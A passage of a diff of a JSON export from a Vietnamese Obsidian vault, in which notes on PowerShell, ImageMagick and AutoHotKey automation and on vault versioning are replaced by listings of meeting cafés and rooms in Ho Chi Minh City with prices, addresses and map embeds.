"md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-09-05T09:17:00.000Z", - "Ngày cập nhật": "2024-09-02T09:34:00.000Z", - "id": "Qw" + "Ngày tạo": "2023-07-21T04:54:00.000Z", + "Ngày cập nhật": "2024-09-02T18:21:00.000Z", + "id": "R8" }, { - "Tiêu đề": "Đánh số phiên bản", - "URL": "https://obsidian.quảcầu.cc/📜Tài nguyên/Giải pháp kỹ thuật/Tổ chức, sắp xếp dữ liệu/Đánh số phiên bản", + "Tiêu đề": "Viễn Đông", + "URL": "https://obsidian.quảcầu.cc/📜Tài nguyên/Giải pháp kỹ thuật/Hậu cần/Nơi gặp mặt trực tiếp/TP.HCM/Phòng họp riêng/Viễn Đông", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "In the spirit of [Semantic Versioning](https://semver.org/), I come up with an idea to semantic versioning my vault. Here is the idea:\n\nGiven a version number MAJOR.MINOR.PATCH, increment the:\n\n1. MAJOR version when root folder has significant changes\n2. MINOR version when 1st-level folders has significant changes\n3. PATCH version when 2st-level folders has significant changes\n\nWhat is significance is up to you. For me, it may be adding or removing a file or folder. Renaming without changing the idea much may be denoted with a letter after (i.e. `3`→`3a`→`3b`). If your root folder's structure is already stable before you apply the versioning, you foresee that it will be stable in a far future, then you can skip the MAJOR version if you want.\n\nThis idea can be generalize to any hierarchical structure, not just limited to folder structure. For example, a hierarchical graph.\n\nWhat do you think about this idea?\n\n---\n\nFYI, in Git you can add tags with:\n```\ngit tag -a v1.3 -m \"tag label here\"\n```\nIf you are new with Git, you can start with [Learn Git Branching](https://learngitbranching.js.org/ \"Learn Git Branching\"). It's really help me.\n\n\n`X.Y`\nNếu là vault Obsidian, thì có thể đánh số phiên bản theo kiểu:\n- Nếu thay đổi ở folder cấp 0 thì X tăng 1\n- Nếu thay đổi ở folder cấp 1 thì Y tăng 1\n", + "Mô tả bài đăng": "806 Âu Cơ, P.14, Q. Tân Bình", + "Toàn bộ nội dung": "Địa chỉ:: 806 Âu Cơ\nQuận:: Tân Bình\nGiá:: 0\nƯu đãi giá:: \nSố người tối thiểu:: \nSố người tối đa:: \n \nGiá giữ xe:: \nLiên hệ:: 0901862096\nWebsite::\nFacebook::\n\nGiờ mở cửa::\nGiờ đóng cửa::\nGhi chú:: Đặt phòng tối đa 2 lần/tháng\n\n<iframe src=\"https://www.google.com/maps/embed?pb=!1m18!1m12!1m3!1d3919.257019819968!2d106.63725167511758!3d10.791616358913204!2m3!1f0!2f0!3f0!3m2!1i1024!2i768!4f13.1!3m3!1m2!1s0x31752eb274d2880f%3A0x22c060ddea9b8f46!2zQ8O0bmcgVHkgQ1AgxJDhuqd1IFTGsCBQaMOhdCBUcmnhu4NuIFRoxrDGoW5nIE3huqFpIFZp4buFbiDEkMO0bmcu!5e0!3m2!1sen!2s!4v1724399970068!5m2!1sen!2s\" width=\"600\" height=\"450\" style=\"border:0;\" allowfullscreen=\"\" loading=\"lazy\" referrerpolicy=\"no-referrer-when-downgrade\"></iframe>", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-06-01T15:17:00.000Z", - "Ngày cập nhật": "2024-09-02T06:22:00.000Z", - "id": "Qx" + "Ngày tạo": "2023-05-26T07:51:00.000Z", + "Ngày cập nhật": "2024-09-02T18:21:00.000Z", + "id": "R9" }, { - "Tiêu đề": "Đánh số thư mục", - "URL": "https://obsidian.quảcầu.cc/📜Tài nguyên/Giải pháp kỹ thuật/Tổ chức, sắp xếp dữ liệu/Đánh số thư mục", + "Tiêu đề": "Zest X Space", + "URL": "https://obsidian.quảcầu.cc/📜Tài nguyên/Giải pháp kỹ thuật/Hậu cần/Nơi gặp mặt trực tiếp/TP.HCM/Phòng họp riêng/Zest X Space", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "![[Sử dụng phương pháp đánh chỉ số tập tin giúp dễ tìm kiếm (search) hơn là truy cập (navigate)]]", + "Mô tả bài đăng": "11 Trần Quý Khoách, P. Tân Định, Q1", + "Toàn bộ nội dung": "```dataviewjs\nconst a = dv.current().file.path\nconst file = await app.vault.cachedRead(app.vault.getAbstractFileByPath(a))\ndv.span(a)\nconsole.log(file)\n```\nĐịa chỉ:: 11 Trần Quý Khoách, P. Tân Định, Q1\n\n| Giờ `→`<br>Phòng `↓` | 1h | 4h | 8h |\n| -------------------- | ---- | ---- | ------ |\n| 14 người | 375k | 1tr5 | 2tr7 |\n| 25 người | 700k | 2tr8 | 5tr40k |\n| 45 người | | | |\nƯu đãi giá:: \n\nGiá giữ xe:: \nLiên hệ::\nWebsite::\nFacebook:: https://www.facebook.com/zestxspace/posts/pfbid034YWPqW6iFPeAfD9XvNKiGbTwBc8LVELNPdjf5A7eJMyPud8qjMEagQLgBSJ2Mn6Wl\n\nGiờ mở cửa::\nGiờ đóng cửa::\nGhi chú::\n\nLưu ý:\n- Xe lăn không tiếp cận được\n- Cần đặt chỗ trước\n- Không vận động cơ thể được\n- Giá chưa bao gồm thuế\n\nĐiểm cộng:\n- [x] Webcam \n\n<iframe src=\"https://www.google.com/maps/embed?pb=!1m18!1m12!1m3!1d3919.2336766060125!2d106.68627897511753!3d10.793406558880159!2m3!1f0!2f0!3f0!3m2!1i1024!2i768!4f13.1!3m3!1m2!1s0x3175291f155de703%3A0x46a5f2db5ea1079a!2zWkVTVCBYIFNQQUNFIC0gS2jDtG5nIGdpYW4gc8OhbmcgdOG6oW8!5e0!3m2!1sen!2s!4v1724399795635!5m2!1sen!2s\" width=\"600\" height=\"450\" style=\"border:0;\" allowfullscreen=\"\" loading=\"lazy\" referrerpolicy=\"no-referrer-when-downgrade\"></iframe>\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-06-01T15:21:00.000Z", - "Ngày cập nhật": "2024-09-02T06:34:00.000Z", - "id": "Qy" + "Ngày tạo": "2024-08-22T08:13:00.000Z", + "Ngày cập nhật": "2024-09-02T18:21:00.000Z", + "id": "RA" }, { - "Tiêu đề": "App script", - "URL": "https://obsidian.quảcầu.cc/📜Tài nguyên/Giải pháp kỹ thuật/Tự động hoá/App script", + "Tiêu đề": "Flat White", + "URL": "https://obsidian.quảcầu.cc/📜Tài nguyên/Giải pháp kỹ thuật/Hậu cần/Nơi gặp mặt trực tiếp/TP.HCM/Quán có phòng riêng/Flat White", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "## Nơi thảo luận\n![](https://i.imgur.com/Dk1ghkE.png)", + "Mô tả bài đăng": "274 Lý Tự Trọng, Q1", + "Toàn bộ nội dung": "Địa chỉ:: 274 Lý Tự Trọng, Q1\nSố người tối đa:: 20\n\nGiá nước:: 45k\nƯu đãi giá:: Mua 20 ly giảm 20% trừ bánh kem, bánh mặn\nGiá giữ xe:: 5k \n \nLiên hệ::\nWebsite::\nFacebook:: [Flat White Coffee](https://www.facebook.com/flatwhitesaigon)\n\nGiờ mở cửa::\nGiờ đóng cửa::\nGhi chú:: Giá giữ xe tối đa 15 chiếc, nếu nhiều hơn phải gửi ở ngoài, giá 10k\n\nLưu ý:\n- Cần đặt chỗ trước\n\nĐiểm cộng:\n- [x] Nói to được\n- [x] Vận động cơ thể được\n\n![](https://i.imgur.com/WJY1j7a.jpeg)\n\n<iframe src=\"https://www.google.com/maps/embed?pb=!1m18!1m12!1m3!1d3919.5151715646152!2d106.6936636!3d10.771799!2m3!1f0!2f0!3f0!3m2!1i1024!2i768!4f13.1!3m3!1m2!1s0x31752f10acbba6bd%3A0x6b611977cffb6792!2sFlat%20White%20Coffee!5e0!3m2!1sen!2s!4v1724492332443!5m2!1sen!2s\" width=\"600\" height=\"450\" style=\"border:0;\" allowfullscreen=\"\" loading=\"lazy\" referrerpolicy=\"no-referrer-when-downgrade\"></iframe>", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-09-05T09:17:00.000Z", - "Ngày cập nhật": "2024-07-27T16:06:00.000Z", - "id": "Qz" + "Ngày tạo": "2023-05-26T07:51:00.000Z", + "Ngày cập nhật": "2024-09-02T18:21:00.000Z", + "id": "RB" }, { - "Tiêu đề": "AutoHotKey", - "URL": "https://obsidian.quảcầu.cc/📜Tài nguyên/Giải pháp kỹ thuật/Tự động hoá/AutoHotKey", + "Tiêu đề": "ME", + "URL": "https://obsidian.quảcầu.cc/📜Tài nguyên/Giải pháp kỹ thuật/Hậu cần/Nơi gặp mặt trực tiếp/TP.HCM/Quán có phòng riêng/ME", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "", + "Mô tả bài đăng": "5 Cao Thắng, Q3", + "Toàn bộ nội dung": "Địa chỉ:: 5 Cao Thắng, Q3\nGiá nước:: 45k\nƯu đãi giá:: \nSố lượng:: [5, 10]\n\nGiá giữ xe:: 7k\nLiên hệ::\nWebsite::\nFacebook::\n\nGiờ mở cửa:: [22h]\n\n## Lưu ý\n- Xe lăn không tiếp cận được\n\n## Điểm cộng\n- Có đàn hoặc sân khấu nhỏ\n- Loa và mic\n\n## Ghi chú\n- Ghế nhiều cái bị lỏng vít nên ngồi hơi lỏng lẻo. Chịu khó lật ra sau bắt chặt lại vít là được. \n- Quán dùng TV làm máy chiếu nhưng chỉ có đầu HDMI, nếu lap của bạn chỉ có đầu USB-C thì phải đem sẵn đầu chuyển. Máy chiếu không quá rõ nét.\n- Nước ở đây không ngon lắm. Có thể đem theo trà hoặc milo của mình để tự pha rồi trả tiền phòng thôi.\n- Gửi ngay chung cư thì đắt. Gửi ở chung cư kế bên rẻ hơn", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-05-26T07:51:00.000Z", - "Ngày cập nhật": "2024-07-16T16:27:00.000Z", - "id": "Q-" + "Ngày cập nhật": "2024-09-02T18:21:00.000Z", + "id": "RC" }, { - "Tiêu đề": "Chỉnh sửa file hàng loạt bằng PowerShell", - "URL": "https://obsidian.quảcầu.cc/📜Tài nguyên/Giải pháp kỹ thuật/Tự động hoá/Chỉnh sửa file hàng loạt bằng PowerShell", + "Tiêu đề": "Quán có phòng riêng", + "URL": "https://obsidian.quảcầu.cc/📜Tài nguyên/Giải pháp kỹ thuật/Hậu cần/Nơi gặp mặt trực tiếp/TP.HCM/Quán có phòng riêng", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "[[PowerShell là một ngôn ngữ shell]]\n[The Complete Guide to PowerShell Punctuation - Simple Talk](https://www.red-gate.com/simple-talk/sysadmin/powershell/the-complete-guide-to-powershell-punctuation/)\n# Tạo nhiều folder\n```PowerShell\n$list=(ls -name -directory).substring(1)\nforeach ($i in $list) {\n\t$index=$i.substring(0,1)\n\tcd \"2$i\" \n\tnew-item \"2$index`1 Thành quả cần có\" -type directory;\n\tnew-item \"2$index`2 Sự kiện\" -type directory;\n\tnew-item \"2$index`3 Tài liệu\" -type directory;\n\tCd ..\n}\n```\n# Tạo array\n```PowerShell\n$list|ForEach-Object {\"`\"$_`\",\" } |clip\n```\n# Đổi tên hàng loạt\n```PowerShell\nGet-ChildItem *.md, *.json -recurse | Where-Object {$_.name -cmatch '^2[A-Z]'} | Rename-Item -newname { $_.name -replace '^2(.*)', '4$1'} -whatif \n```\n- `-cmatch`: match có case sensitive\n# Tìm và thay chuỗi hàng loạt\n[[VS Code nhiều khi không tìm hết được do tên file dài quá]]\n```PowerShell\nGet-ChildItem *.md, *.json -recurse | ForEach-Object { (Get-Content $_).Replace('Kết quả cần có::','Thành quả cần có::') | Set-Content $_ } \n```\n# Xoá tất cả desktop.ini \n```PowerShell\nGet-ChildItem -Force -Recurse -File -Filter \"desktop.ini\" | Remove-Item -force\n```\n# Tắt giới hạn số ký tự tối đa cho đường dẫn\n```PowerShell\nNew-ItemProperty -Path \"HKLM:\\SYSTEM\\CurrentControlSet\\Control\\FileSystem\" -Name \"LongPathsEnabled\" -Value 1 -PropertyType DWORD -Force\n```\n[Maximum Path Length Limitation - Win32 apps | Microsoft Learn](https://learn.microsoft.com/en-us/windows/win32/fileio/maximum-file-path-limitation?tabs=powershell#enable-long-paths-in-windows-10-version-1607-and-later)\n\n# Thêm [[Biến môi trường giúp ta điền những giá trị lặp đi lặp lại nhanh hơn|biến môi trường]] \n```PowerShell\n[System.Environment]::SetEnvironmentVariable('ResourceGroup','AZ_Resource_Group', 'User')\n$env:PATH += \";SomeRandomPath\"\n```\n```PowerShell\n[Environment]::SetEnvironmentVariable(\"Path\", [Environment]::GetEnvironmentVariable(\"Path\", [EnvironmentVariableTarget]::Machine) + \";C:\\bin\", [EnvironmentVariableTarget]::Machine)\n```\n# sfd\n```PowerShell\n$sourcePath = “F:\\New folder” \n$destinationPath = “E:\\New folder” \n$files = Get-ChildItem -Path $sourcePath -Recurse -Filter “*.*” \nforeach($file in $files){ \n\t$sourcePathFile = $file.FullName \n\t$destinationPathFile = $file.FullName.Replace($sourcePath, $destinationPath) \n\t$exists = Test-Path $destinationPathFile \n\tif(!$exists){ \n\t$dir = Split-Path -parent $destinationPathFile \n\tif (!(Test-Path($dir))) { New-Item -ItemType directory -Path $dir } \n\tCopy-Item -Path $sourcePathFile -Destination $destinationPathFile -Recurse -Force \n\t} \n\telse{ \n\t\t$isFile = Test-Path -Path $destinationPathFile -PathType Leaf \n\tif(!$isFile){ \n\t\tCopy-Item -Path $sourcePathFile -Destination $destinationPathFile -Recurse -Force \n\t} \n\t} \n}\n```\n", + "Toàn bộ nội dung": "> [!Info] Hướng dẫn sử dụng\n> Giá = giá nước + giá gửi xe. Giá nước là giá của món đắt nhất trong 5 món rẻ nhất. Chi tiết đọc bài [[Nơi gặp mặt trực tiếp]]\n\n```dataviewjs\ndv.table([1,2] , [])\ndv.view(\"Ξ Thiết lập/Script/Nơi gặp mặt trực tiếp\")\n```", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-05-26T07:51:00.000Z", - "Ngày cập nhật": "2024-07-27T14:08:00.000Z", - "id": "Q_" + "Ngày cập nhật": "2024-09-02T18:21:00.000Z", + "id": "RD" }, { - "Tiêu đề": "Chỉnh sửa ảnh hàng loạt bằng ImageMagick", - "URL": "https://obsidian.quảcầu.cc/📜Tài nguyên/Giải pháp kỹ thuật/Tự động hoá/Chỉnh sửa ảnh hàng loạt bằng ImageMagick", + "Tiêu đề": "Tonkin", + "URL": "https://obsidian.quảcầu.cc/📜Tài nguyên/Giải pháp kỹ thuật/Hậu cần/Nơi gặp mặt trực tiếp/TP.HCM/Quán có phòng riêng/Tonkin", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "[Examples of ImageMagick Usage](https://imagemagick.org/Usage/ \"Examples of ImageMagick Usage\")\n\n# Thêm logo hàng loạt\nThu nhỏ logo theo tỉ lệ 10% so với ảnh nền và ở vị trí góc phải trên cùng cách mép ảnh 3% chiều dài ảnh nền\n```PowerShell\ngci -recurse -file | Foreach-Object {\n\tmagick $_.fullname ..\\logo.png -resize %[fx:t?u.w*0.1:u.w]x%[fx:t?u.h*0.1:u.h] -gravity northeast -geometry +%[fx:t?u.w*0.03:u.w]+%[fx:t?u.w*0.03:u.w] -composite new\"$_.name\"\n} \n```\n\nScript: [Adding multiple logos to multiple images.ps1](https://gist.github.com/ooker777/7b559db31c1dcc4071592054baa1017e)\n\n> [!NOTE]- Giải thích `%[fx:t?u.w*0.9:u.w]`\n> \n> ## The reasoning behind the `%[fx:t?u.w*0.9:u.w]`\n> From [The FX Special Effects Image Operator](https://imagemagick.org/script/fx.php \"ImageMagick – The FX Special Effects Image Operator\"):\n> \n> ```\n> u: first image in list\n> v: second image in list\n> t: index of current image (s) in list\n> w: width of this image\n> ```\n> \n> So in plain language, it means that if the image in question is the second image, whose index is one, of which the ternary conditional operator also read as true, then resize it to 90% width of the first image, else do no resize. Or else `-resize` option will [apply to each images in an image sequence](https://imagemagick.org/script/command-line-processing.php#operator) (i.e. all input images before it, but not after it).\n> \n> # Resize and crop\n> I have over 1000 images on different resolutions, (for example 1234x2122, 4400x5212 , etc) and I want to convert all of them to fixed 100x100 size, so.\n> \n> 1. first I need to resize the images keeping proportions, and get 100xA or Ax100, where A > 100 (it depends width and height of image, for some images width > height, and for some images height > width).\n> \n> 2. Crop this image to 100x100 from center\n> ```PowerShell\n> magick convert input.jpg -resize 100x100^ -gravity Center -extent 100x100 output.jpg\n> ```\n> You would use the [area-fill](http://www.imagemagick.org/Usage/resize/#fill) (`^`) [geometry modifier](http://www.imagemagick.org/script/command-line-processing.php#geometry) on the `-resize` operation to unify the down-scale. For cropping the center, [`-extent`](http://www.imagemagick.org/script/command-line-options.php?#extent) with [`-gravity Center`](http://www.imagemagick.org/script/command-line-options.php?#gravity) will work.\n\n\n# Thêm số thứ tự vào các hình hàng loạt\nHữu ích cho việc phân biệt mã nào mình đã làm rồi, mã nào chưa\n```PowerShell\n$i=1; Get-ChildItem -file | ForEach-Object {\n $filename=$_.name\n $basename = $_.basename\n $output = \"$basename$i.jpg\"\n $output; \n magick convert -pointsize 300 -fill red -draw \"text 60,600 `\"$i`\"\" \"$filename\" $output\n $i++\n} \n```", + "Toàn bộ nội dung": "Giá nước:: 0\nGiờ mở cửa:: 8:00 - 21:00\nLiên hệ:: 867990125\nWebsite:: [The best cafe](https://tonkin.coffee/aboutbestcoffee/)\nFacebook:: [Tonkin Specialty Coffee | Ho Chi Minh City | Facebook](https://www.facebook.com/tonkinspecialtycoffee)\n\n| Chi nhánh | 91 Lý Tự Trọng, Q1 | 135/50 Trần Hưng Đạo, Q1 |\n| ---------- | -------------------------------------------- | ------------------------ |\n| Giá giữ xe | 10k | 0 |\n| Số lượng | 30 người | 10 người |\n| Ghi chú | Lối vào nhỏ, dễ khuất, phải nhìn kỹ mới thấy | |\n| Lưu ý | Xe lăn không tiếp cận được | |\n| Điểm cộng | Không gian ngoài trời | |\n\n## Lưu ý\n- Không có loa và mic\n- Cần đặt chỗ trước\n\n## Ghi chú\n- Chỉ miễn phí với các sự kiện phi lợi nhuận\n\n<iframe src=\"https://www.google.com/maps/embed?pb=!1m18!1m12!1m3!1d15678.352274790179!2d106.68517924955465!3d10.766196428979539!2m3!1f0!2f0!3f0!3m2!1i1024!2i768!4f13.1!3m3!1m2!1s0x31752fc740afa7cd%3A0xd1e4a0b284d44d60!2sTonkin%20Specialty%20Coffee!5e0!3m2!1sen!2s!4v1724402315844!5m2!1sen!2s\" width=\"600\" height=\"450\" style=\"border:0;\" allowfullscreen=\"\" loading=\"lazy\" referrerpolicy=\"no-referrer-when-downgrade\"></iframe>\n\n<iframe src=\"https://www.google.com/maps/embed?pb=!1m18!1m12!1m3!1d3919.5884091119547!2d106.69290407511733!3d10.766170259382694!2m3!1f0!2f0!3f0!3m2!1i1024!2i768!4f13.1!3m3!1m2!1s0x31752f7dc7be2ff3%3A0xe0c8c3d04f75aa34!2sTonkin%20Garden%20Coffee%20%26%20Eatery%20%5BCafe%20%26%20Croissant%5D!5e0!3m2!1sen!2s!4v1724401916845!5m2!1sen!2s\" width=\"600\" height=\"450\" style=\"border:0;\" allowfullscreen=\"\" loading=\"lazy\" referrerpolicy=\"no-referrer-when-downgrade\"></iframe>\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-05-26T07:51:00.000Z", - "Ngày cập nhật": "2024-07-16T16:27:00.000Z", - "id": "R0" + "Ngày cập nhật": "2024-09-02T18:21:00.000Z", + "id": "RE" }, { - "Tiêu đề": "Chụp màn hình bằng ShareX", - "URL": "https://obsidian.quảcầu.cc/📜Tài nguyên/Giải pháp kỹ thuật/Tự động hoá/Chụp màn hình bằng ShareX", + "Tiêu đề": "Mr Bean", + "URL": "https://obsidian.quảcầu.cc/📜Tài nguyên/Giải pháp kỹ thuật/Hậu cần/Nơi gặp mặt trực tiếp/TP.HCM/Quán không có phòng riêng/Mr Bean", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "## Tự động khởi động \nNhập vào terminal:\n```PowerShell\nschtasks /create /sc onlogon /tn ShareX /rl highest /tr \"'C:\\Program Files\\ShareX\\ShareX.exe' -silent\"\n```\nNguồn:: [How can I get ShareX to start automatically with admin privileges · Issue #94 · ShareX/ShareX · GitHub](https://github.com/ShareX/ShareX/issues/94)", + "Toàn bộ nội dung": "Địa chỉ:: [276 Cô Bắc, Q1]\nGiá:: 30k-50k\nGiờ đóng cửa:: 22h\n\nCó loa mic:: 0\nGiá giữ xe:: ✔\nLiên hệ:: \nLưu ý:: đèn không biết lúc nào sẽ bị giựt\n\n\nĐược nói to:: ✔\nKhông bị ồn từ bên ngoài:: 5\nBàn phù hợp cho việc dùng laptop:: ✔\nCó thể vận động cơ thể:: 7\nNước ngon:: ✔\nKhông gian tạo cảm hứng:: 5\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-09-05T09:17:00.000Z", - "Ngày cập nhật": "2024-09-01T10:28:00.000Z", - "id": "R1" + "Ngày tạo": "2023-05-26T07:51:00.000Z", + "Ngày cập nhật": "2024-09-02T18:21:00.000Z", + "id": "RF" }, { - "Tiêu đề": "CopyQ", - "URL": "https://obsidian.quảcầu.cc/📜Tài nguyên/Giải pháp kỹ thuật/Tự động hoá/CopyQ", + "Tiêu đề": "Quán không có phòng riêng ở TPHCM", + "URL": "https://obsidian.quảcầu.cc/📜Tài nguyên/Giải pháp kỹ thuật/Hậu cần/Nơi gặp mặt trực tiếp/TP.HCM/Quán không có phòng riêng", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Mô tả bài đăng": "Quản lý clipboard bằng CopyQ", - "Toàn bộ nội dung": "# Copy tin nhắn từ Discord\n```js\ncopyq:\nvar raw = str(clipboard())\nvar processed = raw.replace(new RegExp(\" — .* at .*\\n\", \"g\"), \": \")\ncopy(processed)\npaste()\n```\n", + "Toàn bộ nội dung": "Không bị ồn từ bên ngoài:: ❌\nNhà vệ sinh:: ✔\nĐược nói to:: tuỳ\n\n```dataview\nLIST\nFROM \"📜Tài nguyên/Nhu cầu công việc/Hậu cần/Nơi gặp mặt trực tiếp/Theo thành phố/TPHCM/Quán không có phòng riêng ở TPHCM\"\nWhere file.name!=this.file.name\n```\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-05-26T07:51:00.000Z", - "Ngày cập nhật": "2024-07-16T16:27:00.000Z", - "id": "R2" + "Ngày tạo": "2023-07-18T04:21:00.000Z", + "Ngày cập nhật": "2024-09-02T18:21:00.000Z", + "id": "RG" }, { - "Tiêu đề": "Tạo phím tắt bằng AutoHotKey", - "URL": "https://obsidian.quảcầu.cc/📜Tài nguyên/Giải pháp kỹ thuật/Tự động hoá/Tạo phím tắt bằng AutoHotKey", + "Tiêu đề": "Nơi gặp mặt trực tiếp tại TPHCM", + "URL": "https://obsidian.quảcầu.cc/📜Tài nguyên/Giải pháp kỹ thuật/Hậu cần/Nơi gặp mặt trực tiếp/TP.HCM", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Autohotkey là một phần mềm hỗ trợ người dùng Window, giúp thực hiện các thao tác nhanh và thuận tiện hơn, phù hợp với người làm văn phòng.\n\nThay thế các nút vô dụng trên bàn phím, như <kbd>F1</kbd>, <kbd>Pause</kbd> bằng các nút khác\n```\n::->::→\n:*:<->::↔\n:*:(::() {Left 2}\n;~ :*:'::'' {Left 2}\n:*:\"::\"\" {Left 2}\n:*:[::{[ 2}{bs}}{]} {Left 2}\n:*:{::{{ 2}{bs}{}} {Left 2}\n:*:\\cross::❌❌\n:*:\\check:✔️✅\n:*:lnaiv::[naïve realism](https://en.wikipedia.org/wiki/Na%C3%AFve_realism_(psychology\\))\n:*:lsce::[self-conscious emotions](https://en.wikipedia.org/wiki/Self-conscious_emotions)\n:*:chaoban::Chào bạn. Cho mình hỏi bạn là ai vậy? Cám ơn nhé\nCapslock::Ctrl\n+NumLock::CapsLock\n```\n![](https://youtu.be/YmQPxkS3HjQ) \n", + "Toàn bộ nội dung": "```dataviewjs\ndv.span(app.metadataCache)\n```", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-05-30T08:56:00.000Z", - "Ngày cập nhật": "2024-07-16T16:27:00.000Z", - "id": "R3" + "Ngày tạo": "2023-05-26T07:51:00.000Z", + "Ngày cập nhật": "2024-09-02T18:21:00.000Z", + "id": "RH" }, { - "Tiêu đề": "Các vấn đề của plugin Digital Garden trong việc tạo trang web từ kho", - "URL": "https://obsidian.quảcầu.cc/📜Tài nguyên/Giải pháp kỹ thuật/Web/Các vấn đề của plugin Digital Garden trong việc tạo trang web từ kho", + "Tiêu đề": "Công viên", + "URL": "https://obsidian.quảcầu.cc/📜Tài nguyên/Giải pháp kỹ thuật/Hậu cần/Nơi gặp mặt trực tiếp/TP.HCM/Địa điểm công cộng/Công viên", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Mô tả bài đăng": "Plugin này sử dụng 11ty làm chương trình tạo website, và Vercel làm dịch vụ hosting. Chúng có những nhược điểm gì?", - "Toàn bộ nội dung": "Nếu bạn không muốn mua gói Publish nhưng vẫn muốn tạo một website từ kho của bạn thì bạn cần 3 thứ sau:\n- Một plugin để đẩy ghi chú từ máy của bạn lên GitHub\n- Một chương trình tạo website từ các ghi chú\n- Một dịch vụ hosting để ai cũng có thể truy cập web của bạn\n\nQua buổi hướng dẫn tạo web từ kho đầu tiên thì mình thấy một điểm chung là dường như nhiều bạn bắt đầu hành trình của mình bằng plugin **[Digital Garden](https://github.com/oleeskild/obsidian-digital-garden \"oleeskild/obsidian-digital-garden\")**. Có thể là vì cái tên của nó khiến cho nó dễ được tìm đến nhất. \n\nTuy nhiên, plugin này sử dụng **11ty** làm chương trình tạo website, và **Vercel** làm dịch vụ hosting. Mình thấy chúng có những bất cập sau:\n## Digital Garden ít chức năng và ít cập nhật\nVào thời điểm viết bài, hiện tại có tới [207 vấn đề được cộng đồng gửi đến](https://github.com/oleeskild/obsidian-digital-garden/issues \"Issues · oleeskild/obsidian-digital-garden\"). Gần như không có cái nào được tác giả phản hồi cả. Hồi mới tập tành làm web mình cũng bắt đầu với plugin này, nhưng không dùng được vì bị lỗi tiếng Việt. [Mình có gửi vấn đề lên](https://github.com/oleeskild/obsidian-digital-garden/issues/292 \"Why are there so much 404 error? · Issue #292 · oleeskild/obsidian-digital-garden\") nhưng cũng chịu số phận như rất nhiều vấn đề khác. \n\nMình dùng plugin [Enveloppe](https://enveloppe.github.io/) để đưa ghi chú từ máy lên GitHub và chưa thấy có điểm gì để chê. Nó có nhiều tính năng để tuỳ chỉnh, và tác giả của nó rất nhiệt tình sửa lỗi và tương tác với người dùng. Mình cũng có đóng góp cho plugin này. \n\n## Dịch vụ hosting Vercel hoặc Netlify là những dao mổ trâu giết gà\nDigital Garden mặc định là dùng Vercel vì bạn không tạo đồ thị bằng GitHub Page được. Nếu bạn không cần đồ thị cho web thì GitHub Page đơn giản hơn và phù hợp cho nhu cầu cơ bản của bạn. Tất nhiên, sau khi thành thạo rồi bạn sẽ thấy các dịch vụ này cho bạn nhiều tính năng hay ho hơn rất nhiều. Đến cả mình, sau khi dùng Netlify một thời gian, đủ để tạm hiểu nó và thấy GitHub Page ít chức năng thật, thì mình vẫn chuyển các trang web của mình từ Netlify về lại GitHub Page, vì mình vẫn thấy chưa thực sự cần phải đánh đổi sự phức tạp trong việc sử dụng để có được những tính năng này. Hồi mới lớ ngớ làm web mình dùng Netlify không cẩn thận nên bị nó mổ mất $7 vì build quá nhiều. Ở GitHub Page thì không lo chuyện đó.\n\n## Hướng dẫn sử dụng bỏ qua bước tạo website trên trên máy bạn\nNếu mục đích là làm sao để tạo website cho nhanh để mà còn làm việc khác thì đúng là bạn sẽ không cần phải tạo web trên máy mình. Nhưng theo mình thì đây là bước giúp bạn vỡ ra được nhiều thứ về cách hoạt động của một trang web, vì nó sẽ đòi hỏi bạn cần dùng Git để quản lý phiên bản và terminal để ra lệnh cho các tất cả các chương trình liên quan. Khi bạn tuỳ chỉnh website, bạn sẽ phải thao tác trên tập tin cấu hình cũng như sắp xếp các thư mục cho các tập tin bổ trợ, và chắc chắn bạn sẽ phải xử lý nó trên máy của bạn trước. Kể cả khi bạn không cần làm việc đó thì nó cũng tiện lợi và an toàn hơn là đẩy trực tiếp lên hosting. \n\n## Có những chương trình tạo web mới khắc phục được những nhược điểm của 11ty\nĐể tạo ra website từ các tập tin markdown, bạn cần dùng một chương trình tạo website tĩnh (static site generator):\n![Fetching Title#vu93](https://cdn-media-1.freecodecamp.org/images/0*CCMaHN9JpmvIFNdi)\n\n11ty là chương trình tạo website tĩnh được tích hợp với Digital Garden. Nó dùng một môi trường thực thi tên là Node và nhập plugin bằng CommonJS. CommonJS thì lạc 